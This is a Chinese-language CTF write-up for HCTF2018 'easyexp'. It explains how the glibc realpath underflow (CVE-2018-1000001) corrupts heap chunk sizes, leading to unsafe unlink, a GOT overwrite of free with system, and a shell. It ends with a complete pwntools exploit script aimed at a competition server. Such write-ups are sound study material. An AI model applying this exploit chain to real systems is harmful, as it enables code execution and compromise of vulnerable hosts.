HCTF2018 easyexp Writeup

这道题目不同以往的CTF题目,出得非常新颖,用到了一个glibc的漏洞,CVE–2018-1000001,题目质量非常好(以前看到了这个CVE也想用来出题…..

程序逻辑分析

main函数

init_proc

初始化操作,setbuf

然后clone出了一个子进程

子进程运行以下函数

等待geteuid()返回的结果为0

然后mount tmpfs到/tmp,再chdir过去

回到init_proc函数

首先是将子进程中 /proc/child_pid/cwd这个字符串strdup,保存到bss段中

然后下面就是一系列的操作,看了下CVE–2018-1000001的分析报告,貌似是关于linux namespace的东西,我也不是很懂,这里就不多说了

首先chdir到子进程的 /proc/child_pid/cwd目录那里

然后要求输入home的名字,假如存在 . 或者 / 就会用home

在输入的名字下面还会创建home文件夹,然后在里面创建一个flag文件,往里面写入假flag

main_process

在main函数我们可以知道程序有四个功能

  • ls
  • mkdir
  • mkfile
  • cat

ls

这个就真的是ls的功能了,输入没有任何限制,因此可以到处看,绕过tmpfs的沙盒,但是只能看,没有什么用

mkdir

这里判断了下路径是否为空

这里第一部分是循环创建文件夹

例如

mkdir /home/abc/bcd

这里会先创建 /home 然后创建 /home/abc 最后创建 /home/abc/bcd

循环结束后,会调用canonicalize_file_name这个函数去判断对应的路径是否存在

如果不存在的话就直接退出

mkfile

首先判断了路径里时候存在 .. 和 首个字符是否为/

这样就绕不出/tmp了

然后程序在bss段存了三个file结构体,在地址0x603180

结构体大概如下

struct file
{
    char* content;
    int size;
    char[0x54] name;
}

这里的循环是判断mkfile的文件是否存在于三个file结构体中,如果存在的话,直接修改内存中的file

这里是判断current_ptr指向的file结构体是否有内容存在,假如存在的话,将内存的内容写入文件中

再free掉该file结构体的content

current_ptr在几个地方都可以被改变,如上面的修改file内容

这里的话,首先是将要建立的文件的名字复制到file结构体中

然后打开文件,要求输入内容,长度在1-0x1000中,然后利用strdup复制到堆内存中

再把指针赋值到file结构体中

还有用strlen得到长度,也赋值到file结构体中

最后关闭文件,改变current_ptr

cat

首先限制跟mkfile一样,这里不多说

然后一个循环,判断要cat的file是否存在于三个file结构体中,是的话就直接输出

如果不存在的话,打开对应的file,然后从里面读取0x100个字节,打印出来,关闭文件

 

漏洞分析

打的时候找了半天,一个漏洞都没找出来……..

虽然有strcpy,但是基本不可能溢出

然后主办方提示了要加载他们给的libc

然后我就看了下他给的libc,发现是 libc-2.23_9的 ,而我虚拟机的是 libc-2.23_10的

他给的libc跟网上下载的libc-2.23_9也是一模一样的

于是去找下change log,跟这个题目比较有关的这个update

  • SECURITY UPDATE: Buffer underflow in realpath()
  • debian/patches/any/cvs-make-getcwd-fail-if-path-is-no-absolute.diff:
  • Make getcwd(3) fail if it cannot obtain an absolute path
  • CVE–2018-1000001

顺着找到了这个CVE的分析

https://paper.seebug.org/528/

所以是realpath造成的underflow

而canonicalize_file_name 这个函数其实只是简单包装了一下 realpath

我们可以简单测试一下

mkdir ../../../abc

getcwd得到的结果是

我们去看realpath的源码

一开始

start=end=name="../../../abc"
dest="(unreachable)/tmp"

所以一开始就进了红色框的那个else if

根据CVE分析

这里以为dest都是以/开头,而某一次更新之后,realpath的那个syscall对于不可到达的路径会返回(unrechable)开头的字符串

因此这里while循环会令dest一直自减直到碰到/ ,这就会造成underflow

dest会指向前一个chunk或者更前面的chunk中存在/这个字符的位置

然后程序会再循环几次,直到将 ../和./这些全部解析和清除

接下来到了一个esle块

里面有一个

会将我们输入的路径复制到dest指向的位置

例如我们输入

mkdir ../../../../abc

这里memcpy的是

memcpy(dest, "abc",3);

复制完毕之后

这里会拿到文件的信息

假如说文件不存在的话,会返回-1,跳到error

而error的话,这个realpath 函数会直接返回 NULL

但是程序那里如果检测到canonicalize_file_name返回的是NULL

就直接exit了

因此我们要绕过 __lxstat64 这个检查

我们可以下个断点看下它检查的是什么

判断的是 (unreachable)/tmp是否存在

我们可以试着用mkdir这个功能看一下能否创建

试一下其他名字

发现也不行

其实在审计程序漏洞的时候已经注意到这个问题了,但是好像也利用不了,因此也没怎么管

那我们要怎么创建一个(unreachable)文件夹呢?

一开始要求输入名字就是关键,我们可以输入(unreachable),这个它就会帮我们创建一个(unreachable)文件夹

我们可以简单测试一下是否绕过了检查

可以看到是成功绕过了

那么怎么利用呢?

我们可以构造出类似下面的内存布局

+----------+-----------+
|          |           |
|          |           |
+----------------------+
|  aaa/    |   size1   |
|          |           |
+----------------------+
|          |           |
|          |           |
+----------------------+
|          |   size2   |
|          |           |
+----------------------+
|          |           |
|          |           |
+----------------------+
|          |   size3   |
|          |           |
+----------+-----------+
|  (unreachable)/tmp   |
|                      |
+----------------------+

利用realpath那个memcpy可以改写size1,这样就能把size改大,直接控制size2所在的chunk

之后就变成常规的堆题了,利用起来也非常简单,unsafe unlink,可以拿到任意读和任意写

将free的got表中的值改为 system

free(“/bin/sh”)就变成了 system(“/bin/sh”)

这样就能拿到shell

下面是我的payload

from pwn import *

debug=1

context.log_level='debug'
e=ELF('./libc-2.23_9.so')
if debug:
    #p=process('./easyexp')
    p=process('./easyexp',env={'LD_PRELOAD':'./libc-2.23_9.so'})
    gdb.attach(p)
else:
    p=remote('150.109.46.159', 20004)

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)

def sl(x):
    p.sendline(x)

def mkfile(name,content):
    sl('mkfile '+name)
    ru('write something:')
    sl(content)
    ru('$')

def cat(name):
    sl('cat '+name)
    return ru('$')

if not debug:
    ru('Input your token:')
    sl('uvm73jg2AFMECo71DIZRZh39MRqFOI2w')

ru("input your home's name: ")
se('(unreachable)n')

ru('$')
mkfile('(unreachable)/tmp','a'*0x16+'/')
mkfile('2','a'*0x27)
mkfile('3','a'*0x37)
mkfile('3',p64(0x21)*4)

sl('mkdir ../../../../ax41')
cat('(unreachable)/tmp')

mkfile('4','a'*0x37)

mkfile('4',p64(0)+p64(0x21)+p64(0x6031e0-0x18+1)+p64(0x6031e0-0x10)+p64(0x20)+p64(0x41))

mkfile('5','1'*0x27)
cat('4')
mkfile('6','a'*0x37)
mkfile('6',p64(0x21)*6)
mkfile('7','a'*0x37)
mkfile('7',p64(0x21)*6)
cat('6')
mkfile('77','a'*0x27)
mkfile('77',p64(0x21)*4)


mkfile('4',p64(0)+p64(0x21)+p64(0x6031e0-0x18)+p64(0x6031e0-0x10)+p64(0x20)+p64(0x90))

mkfile('8','/bin/sh')

mkfile('4','a'*0x18+p64(0x603180)+p32(0x200)[:2])
mkfile('4',p64(0x603018)+p32(0x200)[:2])

data=cat('77')
base=u64(data[1:7]+'x00x00')-e.symbols['free']
system = base+e.symbols['system']

mkfile('77',p64(system)[:6])
cat('4')

sl('mkfile 99')

print(hex(base))

p.interactive()
(完)